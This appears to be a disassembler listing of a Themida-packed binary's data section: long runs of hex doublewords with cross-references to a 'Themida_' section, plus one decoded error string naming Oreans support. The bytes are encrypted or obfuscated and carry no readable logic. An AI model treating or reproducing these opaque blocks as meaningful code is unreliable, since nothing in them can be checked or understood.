		dd 19F135F0h, 8A355C1Bh, 0A64FBF3Dh, 0B8288FA4h, 1FB6817Eh
		dd 26CBBEE8h, 0F97BB852h, 0A8189B98h, 0ED34916Eh, 90B00DFDh
		dd 87F774BFh, 1F9D96A8h, 0F49667AFh, 57C7293Ah,	7568CF5Fh
		dd 0F382F252h, 6650C03Ch, 400324D4h, 0B00DFD19h, 0E2FCD3E4h
		dd 0C636B7FCh, 0B00BFFD0h, 0B610F9E4h, 456C9099h, 0EAFE4B11h
		dd 0F5DA4AA9h, 0A2DBECE9h, 46DA7FEAh, 0BC851171h, 5733EAEAh
		dd 802FD6DDh, 0A075E547h, 0FEC03093h, 0CFC737B5h, 0C0EF5FE2h
		dd 74F7EC2Ah, 0E3771204h, 1DAABCF2h, 0BFF7764h,	2D8E39A4h
		dd 0B6D0F9CCh, 8A9BB626h, 93BC2C89h, 0C5698ACBh, 9C7D1900h
		dd 76BB9FEEh, 940466F2h, 0E882ADA2h, 485A40ADh,	28C83Eh
		dd 24E40000h, 2D8658C8h, 67585ECEh, 5F1F8983h, 0A8B40F2Fh
		dd 6B169C08h, 0E58FD271h, 5D6E1693h, 5D3809ADh,	2957h
		dd 0C8243300h, 0ED588658h, 1086F2A4h, 0BE3D7647h, 0AC729C4Eh
		dd 0F2CE13B2h, 9CAD1086h, 0C4F4C4EEh, 0AF34BFAh, 0A172169Ch
		dd 5EB268D4h, 0ABB3E393h, 8FFF80B1h, 0FB58C0DBh, 1425169Bh
		dd 0F603D48Ah, 0CCF7B5ECh, 0D8019C4Eh, 41032FF8h, 452595F0h
		dd 637BAB4Bh, 550038E0h, 0C2F4C5ECh, 0DC678838h, 1058EDB5h
		dd 76486738h, 0D4617668h, 9837D791h, 573257CEh,	0E8B91058h
		dd 4263A3CFh, 593183F0h, 42377B6Ah, 1529FA16h, 49379F1Ch
		dd 2E4CE8E6h, 909F7659h, 0B3AC333h, 50B6F91Bh, 12D6DE66h
		dd 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh,	81012EC7h
		dd 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh,	0FA9B0B68h
		dd 1B3E05C9h, 0E2169EA8h, 8D4F1B21h, 86F293B6h,	0A1495A10h
		dd 86F3DF02h, 0B8E89810h, 1CB71FA6h, 0F5C6169Ch, 0FC6CC8E9h
		dd 7EFC3519h, 5337080Eh, 0B0E656D6h, 4DD040C3h,	0B7D76914h
		dd 6DC9294Bh, 0B0000012h, 200FE656h, 0CF6431A1h, 817FE6Eh
		dd 0C65D38A8h, 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h
		dd 0C7CFF34h, 0D5705E69h, 169EA88Ch, 4F8EAE6Fh,	0E9AFC886h
		dd 57EE99C4h, 1086D432h, 23C7E8B9h, 0C599C96Dh,	9C3B96FEh
		dd 8D6E716h, 0D9DE46ABh, 0CD77C806h, 0B1AFA98Eh, 795D20FEh
		dd 754F8856h, 2DFB9476h, 0B222A192h, 366BDD8h, 9CB9A393h
		dd 5AF6A3Eh, 3DEE9C9Eh,	5B484EBEh, 403165D5h, 0A26551C1h
		dd 261FC4EBh, 0F277507Fh, 51CAF382h, 0D3B07364h, 4882CD17h
		dd 0B5557AEAh, 320C3CFBh, 26108001h, 0F63B4129h, 0B0130373h
		dd 1693D26Ch, 0F5D2FDA4h, 0C2710474h, 0DF4FB33Fh, 0DBD8C6F0h
		dd 0D0ADE959h, 90C0803Ah, 1FAAF7CEh, 0E0B1108Ah, 0CA56D5DEh
		dd 40D5FA6Ah, 0F62090F3h, 0BA84B484h, 0B2503B0Bh, 55693A1Ah
		dd 866FDF5Ch, 6CAA1A99h, 340A3AFEh, 49769B2Ah, 24F502C3h
		dd 955F046h, 0EC04D9B8h, 3E365BEAh, 0E4B508DCh,	0C9F732CBh
		dd 4A6CA591h, 1153EAh, 0FC6CCA00h, 37A70A19h, 474D15Eh
		dd 0CE3EC271h, 0A7AF827h, 447F2C6Bh, 909F76E6h,	49D6BF2Fh
		dd 859A7BEBh, 0F4DFB626h, 0A9365BEAh, 34B5169Eh, 0F29AB608h
		dd 56D61086h, 0D7A70FE6h, 2C97A7h, 25169F3Eh, 0B1144A14h
		dd 169EBF68h, 0B2110213h, 8F7B5442h, 0F6CD8FCDh, 169EBFD3h
		dd 30E1899Ah, 835965D5h, 9EBF99C0h, 0B7536416h,	43A650DCh
		dd 0E3972826h, 9FDD3EF2h, 0C2A84231h, 15162h, 0FAB3600h
		dd 8D4FDDDFh, 86F293B6h, 0A1495A10h, 0F2E4289Bh, 36171086h
		dd 0B68D4F06h, 1086F293h, 9BA1495Ah, 0CB01AA9Fh, 0BCE010ABh
		dd 0CAB6E52h, 0AB8FE0DCh, 0A82673A6h, 60B968h, 0E6EF0000h
		dd 1CF411F5h, 69D1B97Ch, 63C410ABh, 4FE0DCF3h, 59C9248Dh
		dd 1B8A605Dh, 1086F2F3h, 4F7BA172h, 0D854E062h,	7E512E68h
		dd 4F72CA8Ch, 763B3786h, 24C615EFh, 7BFA86E7h, 1D320B0Bh
		dd 0E3624F1Fh, 82CC9773h, 3360D031h, 583561D1h,	624F8AB2h
		dd 82F251DDh, 0F69469ADh, 16C6h, 10ABE200h, 0F44FBCE0h
		dd 1086F2A8h, 4FCAF2DBh, 59C9246Bh, 0A6725663h,	68A82673h
		dd 49B9h, 624FCD00h, 484571E1h,	1949F8A2h, 0A8F44F23h
		dd 0EB1086F2h, 0D343C0F1h, 86F22F72h, 0DFDCE10h, 4FA498A9h
		dd 0ADF44F8Dh, 0EE1086F2h, 86F23257h, 38E8B910h, 4F8F8367h
		dd 4571E162h, 1071A248h, 72567CA0h, 47B5h, 0CABD100h, 0D7DC02DCh
		dd 0DDB2E454h, 86F22168h, 0FFBCC10h, 0A8F44F2Bh, 0DB1086F2h
		dd 624FCAF2h, 54296DDDh, 249CA0B6h, 538955C5h, 86F2A9F0h
		dd 0A7435410h, 0B68D4F73h, 1086F293h, 0A2A1495Ah, 6ADA5B58h
		dd 83B7532Ch, 0FFFE9DB5h, 0BABD1FFh, 414003DBh,	1C169F3Fh
		dd 7DFE330Bh, 0DAD75D0Dh, 9E0CE959h, 0C33391DDh, 9D5FAD3h
		dd 9EBF173Ah, 0F9C5D616h, 0CCCA3AB8h, 961D17F3h, 169EBF7Dh
		dd 7D033006h, 8B325D0Dh, 0C06B3BBEh, 45C19Dh, 0B6D50000h
		dd 1086F297h, 0E4FA6AC9h, 0BEF868CFh, 674A29C1h, 1086F227h
		dd 0ED000C0h, 0F22C75D0h, 0BE421086h, 0C977484Eh, 0A7EF5FDCh
		dd 4B11F9D6h, 9C1AA478h, 530E4716h, 0AFAF2AEh, 0BE8F2FDBh
		dd 0B4D9D7h, 0ABAD0000h, 4003DB0Bh, 169C1A6Ch, 151E20F1h
		dd 0C4E2797h, 0DA2E73D2h, 0FCCD1693h, 2F9F1D0Eh, 8DBD81E7h
		dd 1C0A4B1h, 38B8BD65h,	70390C52h, 0FB108ABBh, 9A1F142Ah
		dd 7713EC2Ah, 70CCE5h, 50F3E975h, 1CAB2309h, 23EE3392h
		dd 0BC8D1CABh, 0DA573304h, 3EACEA5Ah, 0A7EA597Ah, 461CAB23h
		dd 4DBD3E75h, 0A3E95C62h, 4A1AB2EFh, 4670E05Dh,	5B586649h
		dd 968D68D8h, 93D8A515h, 0D4ABA679h, 0E7662E2h,	47A70000h
		dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h
		dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h
		dd 2169EACh, 8D4FBB81h,	86F293B6h, 44DF810h, 0E71086F2h
		dd 0B1596AD6h, 0F0770380h, 7A67AF80h, 7CB589F9h, 0B4898DFDh
		dd 0F8A158D6h, 118102C5h, 1DCC3184h, 385497A8h,	68000000h
		dd 3DB0BABh, 0A97CFCD9h, 90D53531h, 0D207CBFAh,	0D5E6169Ch
		dd 0E773D0E1h, 5B3A1585h, 0BFF767C4h, 89558539h, 89EBE2BAh
		dd 0C3526310h, 0DBFEC597h, 0A21CADEBh, 2441F991h, 0EA4F64C5h
		dd 0E2433C7Ah, 1086F2BFh, 0CFD3753Eh, 741B5DF2h, 496A745Bh
		dd 0F89377E7h, 8856C62Bh, 5E58C82Bh, 288B8961h,	108656EAh
		dd 71982B31h, 0FC108656h, 72D23F2Bh, 73437302h,	50617B43h
		dd 0BAE981F1h, 169F9A41h, 220F2F00h, 269617A3h,	0F2090EDh
		dd 43A6C266h, 0C9972826h, 184h,	0EE0FABDDh, 86F23257h
		dd 0C7E8B910h, 0C223DEF7h, 18F299C2h, 8D4FCA72h, 86F293B6h
		dd 0A1495A10h, 0F2E4289Bh, 0A271086h, 5A7F46A7h, 211086F2h
		dd 0F94B3F10h, 6B4FE8D4h, 0ABCB01AAh, 0DEE010h,	86F21C45h
		dd 1CCEDF10h, 0AB6E52F8h, 8FE0DC0Ch, 0E2624FABh, 9F4B4472h
		dd 0A826B9F4h, 9D181968h, 6FB2112Dh, 0E1386F2h,	51ED4D3Dh
		dd 0C9000000h, 0DEE010ABh, 0F21C4500h, 0CEDF1086h, 624FF81Ch
		dd 494670E0h, 0E4289BA1h, 271086F2h, 87AD262Eh,	0F09A2703h
		dd 1B1F07D0h, 54FB1EA5h, 0B1821086h, 33D6AA6h, 6B4FF02Ch
		dd 6359C924h, 56B57256h, 0F3000000h, 0E9CE3EBEh, 46A39E08h
		dd 52DDDDFh, 0B9E810ABh, 7B6814DBh, 1F142A05h, 0DC402A9Ah
		dd 0F44F8D4Fh, 1086F2ADh, 308B7F50h, 1086F2ECh,	73962D2Fh
		dd 0FA1086F2h, 0C2EB4129h, 0E1624FDAh, 4DBD4271h, 0C0967449h
		dd 59C9247Ch, 0B68D4F63h, 1086F293h, 0A2A1495Ah, 2673A636h
		dd 39B968A8h, 0CD000000h, 70E0624Fh, 5FCF2D46h,	61209A70h
		dd 0F44F0B31h, 1086F2A8h, 4F407C4Dh, 39C5246Bh,	38644BBBh
		dd 864F7256h, 0EC131992h, 0B25E8B36h, 35FDD2E5h, 33467614h
		dd 62000000h, 0E0DC0CABh, 6FDF624Fh, 48B83A27h,	12B18367h
		dd 1086F2CAh, 1A8AE849h, 0CBF1DE70h, 20488D4Fh,	0F171CD12h
		dd 2436DE8Ch, 4F6755C5h, 7C6EDE62h, 73B55BC1h, 0D1FFFFFEh
		dd 3DB0BABh, 0F2276AD9h, 0F5C61086h, 5843F15h, 0F6169F3Fh
		dd 0CCCA3ABDh, 0D242C0F3h, 0A7B78838h, 0DCB9298Ah, 0E1FD2DCEh
		dd 3F62E1FBh, 0BE169EBFh, 7B9EFDEDh, 2169EBFh, 557E0531h
		dd 2E169EBFh, 0E3BA2F28h, 0FC316909h, 0D3CA30Eh, 9DC06AA0h
		dd 1828h, 0AB0D2600h, 0C7CF83Bh, 97B6B65Eh, 0C91086F2h
		dd 951BFA6Ah, 0EAh, 0B68D4F71h,	1086F293h, 0F7A1495Ah
		dd 35E81F47h, 0A7BAB77h, 1F498FA0h, 0A689A666h,	5C592D98h
		dd 0CBDC169Ch, 0CE3EBEF3h, 147CF827h, 0B23FBA9Eh, 0F8C6E924h
		dd 9B3A5FE6h, 0F0C11693h, 1321C1Ah, 355B0F7Fh, 4F8D5181h
		dd 0ADF44F8Dh, 5016939Bh, 9B83C67Fh, 596A1693h,	3165D55Ah
		dd 0A60FAE5Ch, 0D5108A56h, 3BB9FAC4h, 0DED848AFh, 0C3F0CEE1h
		dd 0F7C8CE3Eh, 1D67813h, 0BB8A1938h, 1CABD496h,	0F1734455h
		dd 0F93AD06Ch, 9D0B0B7Bh, 2E95A9D9h, 1AB246E8h,	3A408891h
		dd 0C56FFEEDh, 0CD0AD4EAh, 6DBF9E2Ch, 55D6B428h, 0A08F66D6h
		dd 93EAB323h, 0C8ABA761h, 0ACE46AEh, 0EF4F0000h, 2889967Fh
		dd 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h, 0B441B111h
		dd 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h,	0DA169E90h
		dd 0C7242319h, 0EE558757h, 1086F2ABh, 6BA94152h, 0A32F90A1h
		dd 9768AE1Eh, 0FA1FA6B8h, 811086F2h, 0DA59DAB0h, 248D2C6Ah
		dd 45AD0EB9h, 0FBFBDAB8h, 0B985AAC3h, 3F27AE9Ch, 87E9A29Eh
		dd 79FB3817h, 9F126109h, 97A8891Ah, 31A2h, 0BAB7600h, 0CEC838BFh
		dd 4500DEF1h, 169BF991h, 4E635364h, 0B6987DEDh,	0DC8EFE7Dh
		dd 825CCC2Fh, 0AB5FCF31h, 1747F781h, 14E87C47h,	5C6D1089h
		dd 0C52473B9h, 0F2B8E164h, 72431086h, 0C78B2465h, 3916DD9Fh
		dd 2D39595Ch, 51621086h, 0BD9284F4h, 70E05CCDh,	156115A5h
		dd 37A70995h, 0E210EFFh, 0E1919530h, 0DBE4169Fh, 0E6ED13FEh
		dd 0CC92BD97h, 0FF960667h, 2643A639h, 8EC99728h, 0DD000001h
		dd 6EDE624Fh, 0FDB35728h, 4F0F0D3Dh, 59C9248Dh,	0F2CA12B1h
		dd 0F8391086h, 3E0F0777h, 8D4F2B11h, 0F760C824h, 1D7CF61Ch
		dd 433C7A55h, 1AA73A7h,	0E010ABCBh, 0CE9052BCh,	86F2D2F7h
		dd 3DAD0C10h, 64D8B283h, 45C00CABh, 48FBE1D5h, 1086F201h
		dd 0DBF4DBECh, 0DB4BAE03h, 624F0B2Fh, 84F451DDh, 0CC926BABh
		dd 86F2D0F9h, 0E08A9B10h, 279EC09Eh, 1086F2E2h,	251181FCh
		dd 0C3A77828h, 0DE624F4Fh, 0B357286Eh, 0A826A5F8h, 6D0B68h
		dd 0F0410000h, 0CD452595h, 93B68D4Fh, 0CD1086F2h, 0C6B7FF6Fh
		dd 0F7A1495Ah, 0F1421C4Ch, 0C86C1E8Eh, 0F2A8F44Fh, 0F1EB1086h
		dd 86F20F52h, 3FC1EE10h, 0D9F6C7CFh, 0DDC48D31h, 929A60C2h
		dd 4F08341Bh, 7C6EDE62h, 87B3A4BAh, 0AC1C2675h,	0DF8E4C9Dh
		dd 7D52F74Bh, 0C924A58Dh, 4B4BBB3Dh, 0F29FC281h, 4D5E1086h
		dd 564F4D62h, 20B572h, 0ABD10000h, 4FBCE010h, 86F2A8F4h
		dd 0CAF2DB10h, 0F44F8D4Fh, 1086F2ADh, 0A78B7F50h, 6359C924h
		dd 73A67256h, 0B968A826h, 2Dh, 0DC0CABCDh, 0A8F44FE0h
		dd 4D1086F2h, 6B4F407Ch, 6755C524h, 54E0624Fh, 5C3165D5h
		dd 8FFA6473h, 33D36CFBh, 0B5200C57h, 37h, 0DC0CABD1h, 0E2624FE0h
		dd 0FFC69872h, 1086F2DFh, 1080E72Ch, 38062926h,	3DAD0D26h
		dd 78A104F9h, 31086F2h,	70992C32h, 0FB1086F2h, 4FDC402Ah
		dd 55C5246Bh, 0B5725667h, 0FFFFFE69h, 0DB0BABD1h, 3F414003h
		dd 9DBA169Fh, 7784ACE1h, 5C3C2E31h, 0BD3E734Bh,	4102A84Dh
		dd 220F4D11h, 80531A1h,	3F1E4362h, 0CCDD169Eh, 3F286BCAh
		dd 66D1169Eh, 0EB67D277h, 1EED9DC0h, 0C9000000h, 86F297B6h
		dd 0EFE3F410h, 15CA0E22h, 0F97AB753h, 17CB589h,	169AF991h
		dd 0B9h, 0DB0BABF2h, 0DF4FAE03h, 3204E6D7h, 9C006393h
		dd 3D011216h, 360878F4h, 5E0C7CFDh, 34A4200Fh, 98C87802h
		dd 31B2FFC6h, 0F8C9108Ah, 0E36FCDE6h, 272D05Ch,	3B143B14h
		dd 0F767C55Ah, 558539BFh, 0A9F05389h, 541CABAEh, 6551C127h
		dd 91A34768h, 0B262EC32h, 0A1062B1Ah, 62080531h, 60516D3Eh
		dd 60D057E3h, 9F765936h, 8BBA1BBh, 2C35AC1h, 0E72A9BACh
		dd 8602C35Ah, 0D754D5B5h, 0EEB99667h, 1026ABA6h, 763B4h
		dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h,	0DA4AA877h
		dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h
		dd 97468B3Ah, 6425169Eh, 0E2624FD8h, 189B9872h,	91BE2E8Ch
		dd 0BF2F8CA5h, 0C131929Fh, 0A4CEB29h, 0DBDB4BA9h, 1E9108E2h
		dd 3BDA4AA9h, 0A81A0366h, 428997h
		db 2 dup(0), 9Dh
byte_5B0023	db 0ABh			; DATA XREF: Themida_:0057A69Co
					; Themida_:0057A7A4o ...
		dd 4003DB0Bh, 169C1BA0h, 8C526C3Dh, 93DB90B9h, 0A04A5B16h
		dd 268BA876h, 0DB8F80B6h, 93DB9DC0h, 0AF6A16h, 0D343C1F2h
		dd 18F262E0h, 0BD43109Dh, 43989Dh, 0C1960000h, 70FB97B0h
		dd 0D73B2FEEh, 6FDF624Fh, 3961157Bh, 986DF43Eh,	320C237Bh
		dd 9C8AC393h, 63C5B216h, 0C9DADCF3h, 41BFA6Ah, 79FF37A7h
		dd 0FAC995C5h, 10899BFAh, 0C394AA7Bh, 789BF01Ch, 6803E7B8h
		dd 8F62B2C4h, 249FBFEFh, 169BFB3Ch, 17AE7041h, 0D6E8361Dh
		dd 2C326216h, 175DF199h, 6BAB7CD0h, 350939FDh, 3C46178Eh
		dd 895566DAh, 0BA5BCB28h, 7960665h, 0EB36F124h,	4D4DB5BFh
		dd 0D0000006h, 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h
		dd 2A811484h, 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h
		dd 75D0FEC9h, 169E942Ch, 24EE4ECFh, 525F57C7h, 76BB83F3h
		dd 87E684F4h, 0EC3892C3h, 27B48CE1h, 4B65AC17h,	37081086h
		dd 69995D53h, 86C3EE55h, 0B17A169Fh, 941483A9h,	181E31A3h
		dd 633AAA0Bh, 0B7D31A7Ah, 0DDEB476Dh, 40000005h, 70BF56C6h
		dd 5FD4A111h, 98876EDEh, 56CDA818h, 1A9164D4h, 2C9C1E91h
		dd 0E555DA49h, 31A12310h, 0FC6CCF64h, 25A0AE19h, 169E95FCh
		dd 0AB3EFE7Fh, 4003DB0Bh, 169F3F75h, 27971B08h,	5311EEFh
		dd 5C2191ECh, 0B7D44959h, 8D107482h, 90000005h,	2FC636h
		dd 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h
		dd 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169E956Ch
		dd 0ABAE8E0Fh, 4003DB0Bh, 169F3F79h, 7E154204h,	4BC41D49h
		dd 85A3E65Fh, 884A169Eh, 9E8594BDh, 69465716h, 0E2635046h
		dd 1FA6AB72h, 3B39B7D4h, 52BB7h, 2494F200h, 0EF5FE251h
		dd 2C9C1906h, 0E656DA49h, 32A2200Fh, 4C474463h,	88977EEEh
		dd 51DEB727h, 3DF283F3h, 1CA74EBEh, 954E9332h, 6C2D169Eh
		dd 0E3624FD0h, 0CD06DE7Bh, 0E4CB3130h, 0FC2DDDB2h, 8CF37Fh
		dd 0F83B1484h, 0F2240B7Bh, 24128201h, 969CA8Ch,	17C6F199h
		dd 0C1F253B0h, 0E8E5D141h, 860E143Dh, 0CDC6D710h, 9D5FA6Ah
		dd 2DDD4DA8h, 272D15Eh,	970D4A14h, 9E4F365Bh, 0D10B4EF5h
		dd 21F21086h, 1D415C0Eh, 731086D1h, 53B017C6h, 56D6DBE3h
		dd 2BDFB0E6h, 65E0FE60h, 1086D13Ch, 0FFCEEBFh, 0E9FA3CACh
		dd 2B7B1A8Ah, 59835B8Bh, 0E328C27Ch, 0A04A47ABh, 9B94CD05h
		dd 95302E16h, 16938A4Ch, 4C6C1E2Fh, 286EDE5Fh, 0B73E7857h
		dd 16938A96h, 0D3545D5Fh, 6EA65F6Bh, 2C037DBAh,	0DD6C533Eh
		dd 9DBD6750h, 33D8h, 0BABB400h,	0F04003DBh, 8D169BF5h
		dd 9C6C19C4h, 103F44A6h, 9A7E9F26h, 11701693h, 0FB7C75A1h
		dd 0C5EC8B8Bh, 0B661C91Ah, 81B74207h, 0DE3D9DBDh, 59000000h
		dd 93B68D4Fh, 5A1086F2h, 1370A149h, 9EB12187h, 0B3F997C0h
		dd 0B186F674h, 0C9A14002h, 64D4564Bh, 0E0476C32h, 0A1494670h
		dd 9BA31370h, 71A51596h, 3340EE9Ch, 309560D0h, 10868BAAh
		dd 0A075E546h, 0FEC03093h, 24C636B5h, 90C080EAh, 0EC3590CEh
		dd 8F108670h, 0BB8ACCBEh, 169B7673h, 665421F2h,	0E95C6292h
		dd 108B18A1h, 851F4EAh,	0F31CABC2h, 47584822h, 4BBB3A77h
		dd 0C698724Bh, 0C19D0D6Dh, 14AF1070h, 1CABC2CDh, 0DAB09FB0h
		dd 960664BBh, 0BF66FC07h, 65CDE7B1h, 370h, 14E151ADh, 4B2A9A1Fh
		dd 0CE959D4h, 54219117h, 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh
		dd 24A08F66h, 0F152E1B4h, 0FBE3F481h, 9E9B0148h, 112BEC16h
		dd 0DE65C624h, 1086F2BBh, 0B75E7142h, 0FA9B0B68h, 0DB0BAB2Eh
		dd 0DAFCD903h, 1A08CB63h, 3129C9Fh, 4788E634h, 36E38944h
		dd 0E882AD98h, 9B507DBDh, 0E72F0016h, 935B418Ch, 0B282E16h
		dd 0FD39A9h, 0C9802F6Ah, 9DBDC364h, 0DB4BAD06h,	1C08E2DBh
		dd 0BAh, 57C724F0h, 80F0525Fh, 0F6A92F96h, 0C0431086h
		dd 0C52BB734h, 0C0557A55h, 76A01073h, 3A043404h, 370777F9h
		dd 86F7458Ch, 73172810h, 0F1DA62E1h, 4A5B169Bh,	0B3BFBABh
		dd 9EA79033h, 3F74108Bh, 7F4D49B9h, 0AA5D9DC4h,	604F601Ch
		dd 0F20D168Ah, 9FC59126h, 426F4F60h, 99C550C0h,	0D4D900C3h
		dd 93A41CAAh, 48B83AF7h, 0C070A0B5h, 0C52D47B1h, 278h
		dd 3CD949A5h, 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h
		dd 179B1695h, 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h
		dd 9E9869B0h, 0E9531416h, 0B83AC624h, 5A576748h, 0C72A69D9h
		dd 7C6E5F57h, 51C142F1h, 624F78C4h, 54296DDDh, 6AF675B6h
		dd 7FB79808h, 28851172h, 0AE817EB8h, 0EF1FDFC7h, 13360DCFh
		dd 0DA1086F2h, 0A81B21C9h, 169C1BD8h, 0E3625465h, 1693DBBAh
		dd 68E1CC43h, 9DBD4705h, 2E8Bh,	0BAB9F00h, 0EC4003DBh
		dd 0F169C1Ah, 531A122h,	6D3E6208h, 70E06051h, 73A14946h
		dd 93DACD10h, 0D0FFBA16h, 0BD41F479h, 337C9Dh, 0B6900000h
		dd 1086F296h, 617DAD51h, 0DCF55A7Bh, 545079F4h,	2B6BDB5Fh
		dd 7D0DB852h, 9E169C7Bh, 4758E4B9h, 15F564BEh, 89CE90A1h
		dd 0BB8181EAh, 8510FA15h, 0E3624FB7h, 5D219773h, 0BEB2112Dh
		dd 0BF169C1Fh, 0D2FD6DD2h, 0DC3C61E4h, 4EC91693h, 4C7FEA5Fh
		dd 4A059DBDh, 21000000h, 86F297B6h, 8FB05010h, 86F2ED34h
		dd 0E7E0310h, 0B8893708h, 0C795C797h, 86F2D5FCh, 0E3879810h
		dd 9C2628B8h, 0E2F3B516h, 11AC350Dh, 0D0F9ACB7h, 9B169308h
		dd 8ED0A58Ah, 8ACF550h,	7E4F1693h, 0C7012459h, 0E2889A11h
		dd 0DB0BAB3Ah, 0DA4AAE03h, 0F161C7DCh, 3E7C8C5h, 3F379231h
		dd 7546169Fh, 7BEB4869h, 9A26859Ah, 906DA919h, 4DF177BFh
		dd 533AD025h, 6D42D5A3h, 0DE52F251h, 0D2E31087h, 0D444A70Ch
		dd 2191F241h, 67B383F5h, 6DC79000h, 0A331CC9Dh,	1DBE3CCh
		dd 4C2168DBh, 0BD3F1CB7h, 0CC74494Dh, 68B40FFBh, 0D1AADBDh
		dd 0C7B6613Ch, 8FA5ABA5h, 0B333h, 9C0C6A00h, 57C72AF9h
		dd 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h
		dd 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 9ED6FBCAh, 0D495169Eh
		dd 0DB0BAB68h, 3EE84003h, 1E13169Fh, 5B3B2F9Fh,	0D4574C4Ah
		dd 3C7AEA48h, 81F15043h, 0FE97B895h, 0E246D231h, 644B4472h
		dd 718FD332h, 0D75E14D5h, 0CDCD0AE8h, 0F0AAE0B2h, 11729F4Bh
		dd 0DC5FD4A1h, 0FC81C87Bh, 5B6C18D8h, 0CF314274h, 0D0327F5Fh
		dd 0B1593660h, 99BE8083h, 10E41049h, 99AA8DA7h,	1F2A306Ch
		dd 5B8DF8Bh, 44D141C2h,	421C8CEFh, 4A2090F1h, 52B102CCh
		dd 2FDBB4E2h, 393h, 4B2FA700h, 5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 64ED6878h, 2C890000h, 29926824h, 3C890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2434895Ch
		dd 291E68h, 24048900h, 184ED2B8h, 58C78906h, 4EC81h, 24890000h
		dd 24048124h, 4, 8BB535Eh, 1000000h, 8B3B89F3h,	0C481241Ch
		dd 4, 5E2434FFh, 4C481h, 3C8B0000h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 10BCE95Ch, 7F57FFFDh,	5074B00h
		dd 6A2D21B1h, 0F4FADAF4h, 186D1EB8h, 0FFC50306h, 0A3FBB3E0h
		dd 8D10626Ch, 57627D19h, 7B5CCC6Ah, 0C33B2629h,	0E9A34832h
		dd 0CA455402h, 50972261h, 82FEA165h, 0C3B6CA42h, 9D6C3B73h
		dd 7D050F10h, 7DB7B114h, 7C278B3Ch, 91D42E36h, 9F424146h
		dd 0C9DC102h, 37FF2349h
		dd 6E81Ch, 3ACE0000h, 0FAB657Ah, 880BB966h, 9E95Eh, 0C7A90000h
		dd 0C1B62F16h, 8188DBCAh, 6972C6h, 80525700h, 5A590AD6h
		dd 0E953DB2Bh, 12h, 6D311894h, 9FB9D6D3h, 12945FA6h, 7E9124A7h
		dd 8B58C2E9h, 0C7811E3Ch, 413E08B0h, 48F0Fh, 0B8660000h
		dd 0F781966Fh, 9C32C65h, 3850F60h, 66000000h, 8161FE8Bh
		dd 1F2169C7h, 0CDB96639h, 0C18B578Ch, 801E048Fh, 0BE804EAh
		db 3 dup(0)
byte_5B08A7	db 0F4h			; DATA XREF: Themida_:00579D24o
		dd 0A843E8B6h, 0D7D903CEh, 5AF871A0h, 0B802EB83h, 5FE96FB6h
		dd 0F1814B4Bh, 7F7C6123h, 9730FB81h, 850FFFFFh,	0FFFFFF9Bh
		dd 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 12A7E900h, 0F600000h, 381h, 0CFBF0F00h, 12D58D89h, 8B610615h
		dd 15178985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 2B7EC397h, 75175A38h, 9D31621Ch
		dd 61515DDh, 71958960h,	8106152Eh, 0E12D6DEEh, 4439615Eh
		dd 850F0424h, 52h, 0F1B589FCh, 83061527h, 15295DBDh, 840F0006h
		dd 3Eh,	5E9h, 15836B00h, 858DA87Bh, 6153B38h, 918589h
		dd 0E0FF0615h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	3DC35545h, 80EF2AC7h, 7019D09h,	858B0615h, 6150789h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h
		dd 5DC21660h, 0ED7C7A0h, 12E9CAh, 5D0C0000h, 5A51231Ah
		dd 6EE1086h, 90AB183Eh,	2806408Ch, 4244439h, 5D850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 79C4C1C3h, 8589E535h, 6153095h, 13860Fh, 0EE90000h
		dd 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h, 0A285C738h
		dd 1061872h, 0F000000h,	0E8Bh, 800F6000h, 0
		dd 104DBD89h, 60610615h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0F8C35242h, 5B06058Ah, 0BD898C17h, 6153461h
		dd 33E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 850F272Fh, 0Ch, 6820Fh, 95090000h
		dd 615235Dh, 0
		dd 1B8h, 5D858700h, 0B061874h, 0FFF675C0h, 1509C5B5h, 9A858F06h
		dd 6A061872h, 0FFFF6A20h, 15248D95h, 21BD8306h,	61502h
		dd 6A0874h, 2E2195FFh, 0BD830615h, 6151E01h, 680D7401h
